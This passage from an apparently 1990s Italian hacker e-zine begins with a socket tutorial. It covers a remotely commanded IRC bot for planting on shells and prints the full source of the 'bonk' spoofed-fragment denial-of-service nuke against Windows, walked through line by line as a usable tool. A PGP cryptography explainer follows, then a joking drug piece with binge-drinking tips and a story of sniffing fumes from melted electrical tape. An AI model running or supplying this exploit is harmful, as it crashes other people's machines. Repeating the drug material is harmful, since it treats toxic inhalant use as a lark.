if ( strcmp( inrig, botnick ) == 0) {
comando = strcpy(comando, " ");
comando = strcat(comando, "JOIN ");
comando = strcat(comando, inrig2);
printf ("%s", comando);
fprintf(out, "%s\n", comando);
}
}

if ( strcmp( inrig, cmdstr ) == 0) { /* arrivano comandi dal padrone !! */
finecomando=5;
comando = strcpy(comando, " ");
do {
fscanf(in, "%s", inrig);
if (strcmp(inrig,stpstr)==0) finecomando=0;
else {
comando = strcat(comando,inrig);
comando = strcat(comando, " ");
}
} while (finecomando==5);
fprintf (out,"%s\n",comando);
}
}

fclose (in);
fclose (out);
exit(0);
}


Bene, vediamo che combina questo programmino da 4 soldi. Innanzitutto
crea un socket e lo collega a alla porta 6666 di irc.tin.it; se tutto e' an-
dato liscio comincia a comunicare col server secondo le specifiche della RFC
1459 (la trovate tradotta in italiano su www.nonsolokick.com).
La comunicazione avviene attraverso gli stream in e out (come ho spesso
visto fare in programmi del genere). Cio' ci consente di usare fscanf() e
fprintf() con i rispettivi parametri di formato, molto comodi quando la comu-
nicazione col server e' basata su stringhe di caratteri. Se si usa questo me-
todo e' importante azzerare ogni tipo di bufferizzazione mediante le setbuf()
sugli stream in e out.
Fatto questo, ha inizio la comunicazione vera e propria. Viene regi-
strato il nick del bot e si va a piazzare nel canale #sszz267 che usera' come
anti-idle. A questo punto e' pronto a ricevere i comandi.
Aprite una query verso il bot e impartite i camandi con la sintassi:

_CMD_ comandoRFC1459 _STP_

dove _CMD_ e _STP_ sono due "password" che avete settato nelle variabili
cmdstr e stpstr. Se non avete voglia di leggervi la RFC eccovi un esempio
d'uso:

_CMD_ JOIN #hackers.it _STP_
_CMD_ PRIVMSG #hackers.it :Chi mi regala una shell!? :DD _STP_
_CMD_ PRIVMSG Pinco :lo sai che sei stronzo?? _STP_
_CMD_ PART #hackers.it _STP_
_CMD_ QUIT _STP_

Nell'ordine i precendenti comandi fanno entrare il bot nel canale
#hackers.it, fanno fare una domanda cretina sul canale, mandano una query a
Pinco per chiedere se e' stronzo, escono dal canale, escono da irc (che e'
meglio). Non attendetevi nessuna risposta dal bot!! (ve l'ho detto, e' solo
un abbozzo!! )
E' chiaro che potete ampliare le funzionalita' del bot come volete: in
questo modo potete sfruttare anche le shell piu' disgraziate del mondo per
installare il vostro bot (non serve essere root, basta che ci sia un compila-
tore C). E' chiaro che dovete lanciare il programma col nohup.

5.0 I RAW SOCKET

Tra i vari tipi di socket questi sono i piu' interessanti. Essen-
zialmente forniscono un modello di connessione "raw" (grezzo): e' compito del
programma costruire i pacchetti secondo le specifiche del protocollo da usare
contenute nelle varie RFC.
Il supporto ai rawsocket e' del tutto assente nelle versioni anterio-
ri alla 2.0 delle WinSock, mentre nelle versioni successive tale supporto e'
presente ma, per cosi' dire, e' "censurato". Per questo faremo riferimento
al solo Linux. Se dovete necessarimente fare uso dei rawsocket sotto windows
il modo piu' semplice e' ricorrere al Trumpet Winsock 3.0d che fornisce un
supporto decente ai raw ma che rende il sistema instabile in alcune situazio-
ni.
Per analizzare l'uso dei rawsoket prenderemo il sorgente del "nuke"
bonk e "spulceremo" il modo spregiudicato >:) con cui esso manipola la strut-
tura dei pacchetti trasmessi.

5.1 CENNI ALLA STRUTTURA DEI PACCHETTI UDP E IP

Come abbiamo visto, per mandare dati attraverso un rawsocket dobbiamo
"autocostruirci" i pacchetti nel protocollo da usare. Vediamo, brevemente, la
struttura dei pacchetti IP/UDP, necessari per comprendere il funzionamento
del bonk.

5.1.1 LA STRUTTURA DEI PACCHETTI IP

Schematicamente, l'header di un pacchetto IP e' il seguente (vedi RFC
791):


0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Ogni campo ha una determinata lunghezza in bit come evidenziato nella
parte alta della figura. Il significato dei campi che ci interessano e' il se-
guente:

Version: 4 bit che contengono la versione dell' internet protocol;

IHL: 4 bit che identificano la lunghezza dell'header in multipli di 32
bit; il minimo valore per un header corretto e' 5;

Total Length: e' la word indicante la lunghezza in byte *dell'intero
pacchetto*, compresi i dati e gli header dei protocolli
di livello superiore.

Identification: e' un numero di due byte, impostato da chi invia il
pacchetto e che serve al ricevente per ricostruire i
dati frammentati.

Flags: 3 bit necessari al controllo della ricostruzione dei pacchetti:

0 1 2
+---+---+---+
| | D | M |
| 0 | F | F |
+---+---+---+

Bit 0: riservato, deve essere 0
Bit 1: (DF) 0 = Pacchetto frammentato
1 = Pacchetto non frammentato
Bit 2: (MF) 0 = Ultimo "frammento"
1 = Ci sono altri "frammenti"

Fragment Offset: indica l'offset del pacchetto frammentato, in unita'
da 64 bit.

Protocol: identifica il protocollo di livello superiore (udp, tcp...)
che verra' usato nel trasporto dei dati

Source Address: indirizzo numerico (in network order) di chi manda
il pacchetto

Dest Address: indirizzo di destinazione


5.1.2 STRUTTURA DELL'HEADER UDP

Dopo l'header IP la struttura del pacchetto prosegue con l'header UDP
e i dati che nel nostro caso sono inessenziali. L'header udp e' molto sem-
plice e consiste dei soli campi degli indirizzi numerici di destinazione e
e sorgente. Che faccio, ve li spiego?? :))

5.1.3 FUNZIONAMENTO DEL BONK

Bene passiamo a esaminare passo passo il sorgente del bonk. Se non vi
va di ricomporre il sorgente potete prelevarlo su rootshell. Cominciamo con
gli include file

/* ==bendi - 1998== bonk.c - 5/01/1998
Based On: teardrop.c by route|daemon9 & klepto */


#include <stdio.h>
#include <string.h>

#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>

Possiamo notare che vengono caricati una serie di .h dalla directory
netinet. Cio' e' necessario per sfruttare le strutture in essi definite e che
schematizzano gli header dei protocolli da utilizzare.


#define FRG_CONST 0x3
#define PADDING 0x1c

struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[PADDING];
} pkt;

int udplen=sizeof(struct udphdr),
iplen=sizeof(struct iphdr),
datalen=100,
psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
spf_sck; /* Socket */

La struttura pkt rappresenta pacchetto che invieremo tramite il no-
stro raw socket. Come si vede esso e' costituito dalla "cascata" di una
struttura iphdr (l'header del protocollo ip, vedi paragrafo 5.1.1), udphdr
(l'header del protocollo udp), e del buffer per i dati. Psize e' la lunghezza
in byte del pacchetto risultante.
E' importante usare le strutture dichiarate nei file .h, perche' evi-
ta banali errori negli header dei protocolli piu' complessi. A seconda del
protocollo che si utilizza andranno scelti gli opportuni file .h dalla direc-
tory netinet (dategli un'occhiata!!)

void usage(void)
{
fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n");
exit(0);
}

u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;

res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}

Ecco un'ulteriore esempio di uso della funzione gethostbyname. Ogni
commento mi sembra superfluo... O:)

void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}

int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
{
int bs;
struct sockaddr_in to;
memset(&pkt, 0, psize);

La funzione fondle e' il vero cuore del programma... in entrata ab-
biamo nell'ordine: il raw socket, gli indirizzi di sorgente (spoofato) e di
destinazione con le rispettive porte (del tutto inessenziali).

/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons(0x2000); /* more to come */
pkt.udp.source = htons(src_prt); /* udp header */
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);

Signore e signori... ecco il programma che si costruisce il pacchet-
to riempendo i campi degli header ip e udp. Cosa dire... abbiamo visto in
5.5.1 e 5.5.2 il loro significato.

/* send 1st frag */
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));

Vediamo a chi mandare il pacchetto!! La struttura to e' di tipo
sockaddr, gia' vista in precedenza. Importante e' il fatto che non usiamo
una write() o una send() per inviare il pacchetto: non possiamo farlo, per-
che' esse operano correttamente solo su socket di tipo SOCK_STREAM (cioe'
con le normali comunicazioni via TCP/IP). Daremo le specifiche di della
sendto() e della duale recvfrom() nel prossimo paragrafo.

pkt.ip.frag_off = htons(FRG_CONST + 1); /* shinanigan */
pkt.ip.tot_len = htons(iplen + FRG_CONST);
/* 2nd frag */
bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
(struct sockaddr *) &to, sizeof(struct sockaddr));
return bs;
}

Queste righe si limitano a preparare un altro pacchetto, continua-
zione di quello precedente (che e' stato costruito "frammentato").


void main(int argc, char *argv[])
{
u_long src_addr,
dst_addr;
int i,
src_prt=53,
dst_prt=53,
bs = 1,
pkt_count = 10; /* Default amount */
if (argc < 3)
usage();
if (argc == 4)
pkt_count = atoi(argv[3]); /* 10 does the trick */
/* Resolve hostnames */
src_addr = host_to_ip(argv[1]);
if (!src_addr)
quit("bad source host");
dst_addr = host_to_ip(argv[2]);
if (!dst_addr)
quit("bad target host");

Il programma principale esordisce "risolvendo" gli host che avete
passato come parametri.

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");

Ecco la tipica dichiarazione di un raw_socket. Da notare che anche
il protocollo e' di tipo IPPROTO_RAW, necessario ad evitare che ai dati
che fluiscono attraverso di esso venga "appeso" l'header di qualche pro-
tocollo.

if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");

Una volta aperto il socket lo si informa che gli header verranno
forniti dal programma. La chiamata a sockopt() e' necessaria proprio a
questo scopo. Vedremo gli altri casi in cui usare la sockopt nella pros-
sima puntata. Vi basti sapere che una chiamata come quella di prima e'
un "classico" quando si usano i raw socket.

for (i = 0; i < pkt_count; ++i)
{
fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
usleep(10000);
}
printf("Done.\n");
}

UFF!! nukettino e' finito!! manda il numero specificato di pacchet-
ti e terminati!! :DD
Non mi chiedete perche' questa serie di pacchetti frammentati fa
impallare il windows... Posso solo dirvi che sono pacchetti standard (an-
che se "strani") altrimenti al primo router verrebbero immediatamente
eliminati. Se volete, prendetevela con lo Zio Bill.

5.1.4 SENDTO E RECVFROM

Eccoci alle funzioni piu' generali per comunicare attraverso un so-
cket. Queste sono le uniche che e' possibile usare se il socket non e' di
tipo SOCK_STREAM. Una comunicazione tramite raw socket puo' avvenire solo
con queste funzioni.

int sendto (int socket, char *buf, int len, struct sockaddr *to,
int tolen);
int recvfrom (int socket, char *buf, int len, struct sockaddr *from,
int *fromlen);

Senza andare nel dettaglio, notiamo che i parametri sono identici a
quelli di send() e recv() tranne per l'aggiunta di una struttura sockaddr
(che contiene i parametri dell'host verso cui inviare e da cui ricevere)
e della sua lunghezza.

6.0 FINE PRIMA PARTE !!

Bene, lo sproloquio e' finito!! Un complimento a chi e' giunto fino
a qui!! ... ah, se ho scritto puttanate, non mi assumo nessuna responsa-
bilita'.... ne' tantomeno mi ritengo responsabile se usate il bonk contro
chi vi sta sulle palle (comunque c'e' la patch...)
Un ringraziamento a SMa$teR per la sua infinita pazienza...il pros-
simo articolo,

  
che parlera' di server e gestione avanzata degli errori,
te lo mando mooolto prima dell'uscita!! :///
Se avete qualche appunto o volete semplicemente insultarmi mi tro-
vate su ircnet.
LordFelix


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ GUiDA ALLA CRiTT0GRAFiA ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
A CHiAVE PUááLiCA - II PARTE

1. -=> Intro <=-
2. -=> Differenza tra le versioni <=-
3. -=> Differenze tra RSA e Diffie-Hellman <=-
4. -=> Attacchi di tipo Brute-Force <=-
5. -=> Cosa succede se ... <=-
6. -=> Link e siti consigliati <=-
7. -=> Greets <=-

1. -=> Intro <=-

Ora che abbiamo visto nel primo numero di B.F.I. in dettaglio come funziona
concettualmente PGP analizzeremo le sue caratteristiche tecniche che lo rendono
cosi' apprezzato, cioe' velocita', ma sopratutto sicurezza e le varie
differenze tra le versioni.

2. -=> Differenza tra le versioni <=-

Esistono numerose versioni di PGP, ma che si possono riassumere in 5 categorie:

- versioni 1.0.x -
ormai fanno parte della storia, si trovano difficilmente e non vengono
praticamente piu' usate.

- versioni 2.3.x -
sono le prime versioni ad avere avuto una diffusione, hanno l'interfaccia a
linea di comando ampliata; funzionano soltanto in modalita' testo, supportano
le chiavi RSA e vengono tuttora usate dai primi utenti di pgp, e da quelli che
ritengono che le prime edizioni (quelle americane la cui esportazione e'
vietata) siano le piu' sicure perche' sospettano modifiche o l'inserimento di
backdoor.

- versioni 2.6.x -
sono identiche alle 2.3.x ma progettata appositamente per essere esportate e
con possibilita' di creare chiavi di dimensioni superiori.

- vesioni 5.x.x -
versioni di ultima generazione che funzionano sia in modalita' testo che
grafica, supportano chiavi RSA e Diffie-Hellman, supportano le comunicazioni
con i key-server. Le ultime comprendono anche funzioni per un utilizzo di PGP
nell'ambito commerciale o per gruppi di lavoro, con una chiave master cioe' che
permette di decifrare i messaggi criptati per chiunque dalle sottochiavi.

- versioni RebeL -
Queste particolari release non sono riconosciute come ufficiali perche'
ottenute da versioni 2.3.x o 2.6.x modificate per particolari necessita' come
una sicurezza a livelli paranoici; vengono solitamente modificate per
permettere di creare chiavi oltre le dimensioni normalmente consentite.
Ad esempio la v.2.6.3i consente di creare chiavi fino a 1024 bits, quella rebel
fino a 8192 !!; e' possibile prelevare i sorgenti delle versioni originali,
modificarli e ricompilarli oppure prelevare le versioni modificate direttamente
(sia i sorgenti che compilati).
Tali programmi si trovano solitamente nei siti dei CypherPunks, ma se ne volete
uno scrivetemi e potrei anche mandarvelo.

Caratteristica fondamentale di tutte le versioni di PGP e' che sono disponibili
i sorgenti quindi se qualcuno e' paranoicamente nel dubbio che le versioni
compilate siano state manomesse puo' sempre scaricare i sorgenti, controllarli
e poi compilarli da se'. E' questo il presupposto che garantisce che il pgp
non sia stato modificato o abbia delle backdoor inserire, e cioe' la
disponibilita' dei sorgenti che viene continuamente mantenuta in tutte le
versioni.

Esiste anche una differenzazione tra il PGP versione americana e
internazionale a causa della regolamentazione sull'esportazione di algoritmi
crittografici dagli USA; con il PGP 5.0 tale inconveniente e' stato pero'
ovviato stampando i codici sorgenti di tutto il PGP 5.0, e dopo averli inviati
per posta dagli USA in Europa (l'esportazione degli algoritmi e' vietata solo
per via telematica o magnetica) si e' fatto un interminabile lavoro di
restituzione dei sorgenti allo stato originario mediante scanner, ocr e
conseguente correzione degli errori, per poi infine ricompilare il tutto nei
vari sistemi operativi.

3. -=> Differenze tra RSA e Diffie-Hellman <=-

Diffie e Hellman propongono un sistema che richiede lo scambio dinamico delle
chiavi per ogni coppia mittente-destinatario (e in pratica solitamente in ogni
sessione di comunicazione, chiamata in gergo 'session key').
Questo modo a due vie di negoziazione e' utile per possibili successivi
attacchi, ma richiede lo scambio di piu' informazioni.
Il sistema proposto invece dalla RSA riduce la quantita' di informazioni
scambiate durante la sessione con la possibilita' di usare chiavi statiche, che
non scambiano chiavi per ogni destinatario certificato.

4. -=> Attacchi di tipo Brute-Force <=-

Un attacco di tipo Brute-Force consiste nel provare tutte le possibili
combinazioni che possano far cadere la sicurezza di un sistema protetto, a
patto che si trovi la combinazione corretta; e' quello che impiega il maggior
numero di tempo, ma non per questo non frequentemente usato perche' piu'
semplice e soprattutto colpisce dove gli altri sistemi non arrivano ;)

- Attacco Brute Force delle chiavi -

Un possibile attacco consiste nel cercare di ricavare la chiave privata di un
utente pgp partendo dalla sua chiave pubblica. Questo processo viene chiamato
fattorializzazione e richiede una elevatissima capacita' di risolse in termini
di calcolo; ecco alcuni esempi:

Chiave in bits MIPS-years richiesti per la fattorializzazione
----------------------------------------------------------------
512 30,000
768 200,000,000
1024 300,000,000,000
2048 300,000,000,000,000,000,000

1 MIPS-year sono 1.000.000 istruzio per secondo di un computer che funziona per
un anno in modo continuato. Quindi ci vuole un attimo per capire di che ordine
di sicurezza e' una chiave anche di soli 2048 bits.

- Attacco brute force dell'algoritmo IDEA -

La grandezza di una chiave idea di 128 bits in base 10 diventa

340.282.366.920.938.463.463.374.607.431.768.211.456

e per risalire a una chiave in particolare e' necessario, normalmente cercare
meta' della chiave

170.141.183.460.469.231.731.687.303.715.884.105.728

E' stato stimato che se tu avessi 1.000.000.000 di computer che possono provare
1.000.000.000 di chiavi al secondo, questo processo impiegherebbe piu' tempo di
quello dell'universo, per trovare la chiave. Quindi l'IDEA, puro e semplice non
e' vulnerabile - all'attualita' - agli attacchi di tipo brute force. Certamente
il progresso non si ferma, e la potenza di calcolo e' in continuo aumento, ma
non bisogna tralasciare il fatto che anche gli algoritmi di crittografia
diventano sempre piu' raffinati e sicuri.

Questi due sono solo alcuni degli esempi di possibili attacchi e del livello di
protezione offerto da pgp.

5. -=> Cosa succede se ... <=-

- rubano la chiave segreta (secring.pgp)

Una chiave segreta del PGP e' normalmente criptata con l'IDEA. Ipotizzando
che tu abbia scelto una password adeguatamente sicura (nel prox numero potrei
parlarne in modo piu' approfondito), il migliore metodo per un attacco
sarebbe quello brute-force. Se un cracker potrebbe provare 1.000 miliardi di
password per secondo, impiegherebbe 1x10^17 anni.

- si genera una lista di tutti i numeri primi generati da pgp e si usa per un
attacco brute-force

Se si potesse immagazzinare 1 milione di TeraByte di dati in un dispositivo
del peso di 1 grammo (ogni numero occupa uno spazio di 128 bytes o meno)
sarebbe necessario un dispositivo che pesi 3.2x10^289 grammi; tale peso
e' maggiore di 1.6x10^256 volte a quello del sole.

6. -=> Link e siti consigliati <=-

All'attualita' PGP esiste per le seguenti piattaforme:
Dos, Windows95, Unix, Linux, Atari, Amiga, Mac, Os/2, WinNT.
Sono in fase di sviluppo le release per le altre piattaforme.
Ecco alcuni link dove potrete trovare tutto e di piu' sull'argomento....

* Siti WWW:
- The International PGP Home Page:
http://www.ifi.uio.no/pgp/
- Nimrod/PGP, in italiano:
http://www.serve.com/nimrod/pgp.html
- PGP-Users Mailing List Home Page
http://www.rivertown.net/~pgp/
- Crypto-Log: Internet Guide to Cryptography
http://www.enter.net/%7Echronos/cryptolog.html
- Cryptography, PGP, and Your Privacy
http://world.std.com/~franl/crypto.html
- Email Privacy FAQ
http://www.four.net/~kto/emailfaq.html

* Newsgroups:
it.comp.sicurezza.pgp
alt.security.pgp
comp.security.pgp.announce
comp.security.pgp.discuss
comp.security.pgp.resources
comp.security.pgp.tech

6. -=> Greets <=-

Se avete domande, suggerimenti, consigli, o altro scrivetemi a:
Blinking@mindless.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQB9AzLEjzoAAAEDgMAZEm4vKqllKENI/8g7x8XEaQppZwgobIXGK8hprLMMnEKA
x9b+m0dIIHm1iTzT+E+kO1xsgGIM8GuzNoKYp9vg/FBqkWX652pKALNElN2R9Bfe
XPvZTXcZZWmWCXFkW3CzCD+5BXcB5337YowzUSEABRG0IEJsaW5raW5nIDxibGlu
a2luZ0BtaW5kbGVzcy5jb20+iQCFAwUQM099XOd9+2KMM1EhAQErUAN/ctdkXk7D
ge9i4MV1BBtqXeT0UXNVp0jLONVSndmDBC2m9C+bRLX0ACQ10avUtd0cxIF4BeWS
vIekKu/5uYyCiNyIH+iEi7FUT6nj3cMrTNS0Z5u5gcIehijSzv48ANuiJndYrciH
0tGamijyz73gIQ==
=IyQY
-----END PGP PUBLIC KEY BLOCK-----
Key Finger Print = 53 9E 03 F8 63 9F 40 08 46 9F B8 1C FF 3D A8 BB
Key ID=8C335121
Blinking


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ SiAM0 ŸU0Ri 0 N0? v1.666 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
-------------------------------------------------------------------------------
Alcoholic & Drug Division of S0ftProject 1998 presents:
-------------------------------------------------------------------------------
---------------------->SIAMO FUORI O NO? VERSIONE 1.666<-----------------------
-------------------------> By Dr. Slump and friends <--------------------------
-------------------------------------------------------------------------------

>>RINGRAZIAMENTI, DOVEROSI RINGRAZIAMENTI<<

Prima di cominciare a scrivere questa guida particolarmente fuori di testa
volevo dedicare un ringraziamento speciale a tutti quelli che volontarimente
o involontariamente hanno partecipato alla stesura di questa guida.
Il galeone chiamato S0ftProject cosi' composto:

Dr_Slump (Io) --> il capitano del Galeone, colui che gestisce l'equipaggio
pIGpEN --> il barista, per via dei caffe' che beve
SMa$teR e DaMaDaFaKa --> gli addetti alla cambusa, chiamati cosi' per via dei
carciofi
Nello|Z --> il timoniere, colui che guida il galeone
EleSSaR^ --> lo chef del galeone, per via delle numerose ricette proposte
Tutti gli altri che mi sono dimenticato a causa dei fumi dell'alcool..

p.s.: ho paura che questo galeone non arrivera' mai a destinazione vista la
gente dell'equipaggio... probabilmente andra' a finire come il titanic contro
qualche iceberg...

>>MATERIALE UTILIZZATO DURANTE LA STESURA DEL TESTO<<

Materiale di consumo per la scrittura del testo: 1 bottiglia di Coca-Cola non
corretta e mezzo pacco di parmalat grisbi con il ripieno di crema pasticcera.
Il testo e' stato scritto: durante la pausa pranzo di vari giorni in ufficio.
Sfondo musicale: quando il gatto non c'e' i topi ballano e scattano fuori le
cassettine di rap dalla tasca del giubbotto, attualmente in sottofondo abbiamo
"Sbroccatamente si vive la notte" dei Flaminio Maphia cor Ph da Roma (mai testo
fu piu' azzzecato di questo!).

>>AVVERTENZA<<

Tutto cio' che e' descritto in questo file andra' fatto a vostro rischio e
pericolo. Non ci sono garanzie. Non ci sono risarcimenti. Cazzi vostri. Se
avete paura non fatelo. Se lo fate e la mamma vi becca, arrangiatevi. Se il
vostro cervello va in poltiglia, piangete su voi stessi.
IN SINTESI: SE VI SUCCEDE QUALCOSA DOPO NON DATE LA COLPA A *NOI* (by EleSSaR^)

>>DEDICA<<

Anche questa guida come tutti i migliori libri che si rispettino e' dedicata a
qualcuno:
La dedico a tutti quelli che come me vorrebbero coltivare dove gli altri hanno
detto che non cresce un cazzo ma, che non possono farlo perche', pur non
volendo, devo adattarsi alle fottute regole di questo fottuto mondo.

>>PREFAZIONE<<

Cazzo rigaz, ma fino a qui non vi sembra una cosa seria? Abbiate fede ancora
un po' e non ve ne pentirete. Questa e' la versione rivista della guida uscita
pochi giorni fa, tale passo e' stato necessario a causa del fatto che mi sono
accorto, o meglio me lo hanno fatto notare altre persone, che c'erano numerosi
errori.
Quindi questa guida che trovate qui di seguito dovrebbe essere migliore della
precendente per vari motivi:
1- molte errori sono state corrette
2- molte cose sono state aggiunte (grazie ancora a EleSSaR^, SMa$teR e
DaMaDaFaKa)
3- e' una guida in continua evoluzione e quindi e' giusto che si evolva, se
volete partecipare anche voi scrivete una bella e-mail!

>>PARTE 1: DIALOGO SBROCCANTE BY DR.SLUMP & PIGPEN<<

Comincerei questa guida con un dialogo tra me e il mitico PigPen... leggete con
calma gente vedrete che apprenderete molte cose, ma mi raccomando non le fate
perche' c'e' il rischio che dopo sbroccate di brutto e vi sentite male
(N.d.Lettore: allora scusa perche' cazzo stai scrivendo questa guida, per
sport?)
Beh che il viaggio abbia inizio...

PigPen --> Slump hai mai provato a miskiare il Jack con il latte e a metterci
dentro un uovo? Non so io NO pero' penso che faccia nausea....
Provalo tu perche' io ho gia' prestato troppo il mio corpo ad
esperimenti chimici...
Dr_Slump --> No tocca che prima o poi ci provo, certo che pero' sprecare del
jack daniel's cosi' e' proprio un delitto, secondo me il jack va
bevuto secco senza ghiaccio e senza nulla, il retrogusto che ti
lascia in bocca e' indimenticabile... comunque mischiare il latte
con alcolico non dovrebbe essere affatto male solo che invece del
latte io userei la panna che ne pensi?
E poi sbaglio o la crema whisky si basa sullo stesso concetto (se ho
detto una stronzata scusatemi, sono un povero ignorante che beve
parecchio e basta e non si interessa di come funziona il mondo).

A proposito di creme, consiglierei a tutti i lettori che ci stanno leggendo la
crema al limoncello. Tranquilli potete berne a quantita' industriali, si regge
benissimo!
Visto che ci sono vi do anche un paio di consigli (sempre per i nostri
affezionati lettori Pig, sono certo che tu queste cose le sai gia' tutte).
Quando decidete di bere parecchio, ma di non andare fuori di brutto, seguite
queste direttive (chiamiamole cosi...):

1) Non mischiate mai troppi alcolici o bevande differenti.. piu' mischiate piu'
vi sentirete male (N.d.LettorePiuFuoriDiNoi: allora fatelo!)
2) Ricordatevi che la sbornia da birra e' quella che fa piu' male in assoluto
(NdSlump: corregetela la birra... corregetela che e' piu' buona!)
3) Per bere parecchio e reggere piu' a lungo, tra una bottiglia e l'altra
bevete anche un po' d'acqua.

Siccome sono sicuro che molti di voi non seguiranno i consigli di cui sopra e
vorranno andare fuori di brutto; ecco qualche consiglio post-sbornia:

1) Il piu classico caffe'
2) Se volete vomitare bevete caffe' e limone
3) Se volte sentirvi meglio (classici dolori di fegato) butatte giu' in gola
due uova con tuorlo crude (so che vi viene da vomitare al sol pensiero, ma
vi assicuro che dopo vi senirete meglio!)

PigPen --> Vabbe' non so dove cazzo l'avevo visto scritto che c'e' gente che in
mancanza di maria fa bollire il bianco della buccia di banana e se
lo fuma .... sisi vi passero' il file...
Dr_Slump --> Pig io cosi' come tutti i lettori di questa guida (cazzo ma non
facevo cracking io? E tu pig hacking? Forse ci siamo bevuti pure
il cervello...) attendiamo con impazienza questo file anche se
sono sicuro che molti di voi ci proveranno lo stesso. Quindi
ragazzi un po' di impegno e usate un po' di immaginazione. Pig
scusa poi mi spieghi perche' i nostri lettori alla mancanza di una
ragazza di nome Maria dovrebbero fare cio'. Misteri della vita.
E pensare che io consoco gente che in mancanza della Coca-Cola per
andare fuori (nel senso di uscire da casa naturalmente) prende del
nastro isolante nero, ne strappa un bel pezzo, lo accartoccia, lo
mette su un cucchiaino da caffe' e dopo con un accendino comincia ad
arroventare il cucchiaino in modo da far squagliare il nastro di cui
sopra e dopo si sniffa il tutto...

### Be ragazzi che ve ne pare fino ad adesso? Non male vero? Un, due, tre
consigliucci carini ve li abbiamo dati, prima di continuare una breve pausa
scherzosa va ad opera del nostro PigPen... dopo si riprende alla grande,
quindi leggete queste poche righe... ###

PigPen --> Se vuoi veramente scandalizzare quelle merde che hai in classe fai
come me e Lele, prenditi una bustina trasparente, riempila di
zucchero a velo e in presenza di loro prendi un po' di quella
polverina magica (lo zucchero) e comincia a leccarla e dopo
aggiungici vicino una frase del tipo "Roba pura", non sniffarla!...
Altrimenti i tuoi polmoni saranno una pattumiera.
L'anno scorso lo facevamo durante l'ora di economia, poi l'abbiamo
ripetuto quest'anno a Natale ed erano tutti che ci hanno beccati per
matti....
Dr_Slump --> Beh che dire... scherzetto ingenuo e divertente da fare in
classe, se volete io ve ne consiglio un'altro... Avete presente il
tabacco e le cartine sfuse che vendono in tutte le tabaccherie? Beh
andate a rollare qualche sigaretta in pizzeria... il mondo e' bello
perche' e' vario... di gente ignorante ce n'e' una cifra e non sanno
che esiste anche il tabacco sfuso per farsi le sigarette da soli...
Noi eravamo in pizzeria, rollavamo queste sigarette, dopo 5 minuti
arriva il proprietario chiedendo se eravamo pazzi a farci le canne
in un luogo pubblico e noi "veramente stiamo solo fumando delle
comunissime sigarette". Come si dice in certi casi? Beata
l'ignoranza.
PigPen --> Comunque se volete proprio passar una mattina acida non prendete
stronzate compratevi un pacchetto di 20 compresse di integratore
multivitaminico all'arancia (consiglio marca VitaSi), mettetevi una
compressa intera in bocca e non bevete niente... Piu' acidi di cosi'
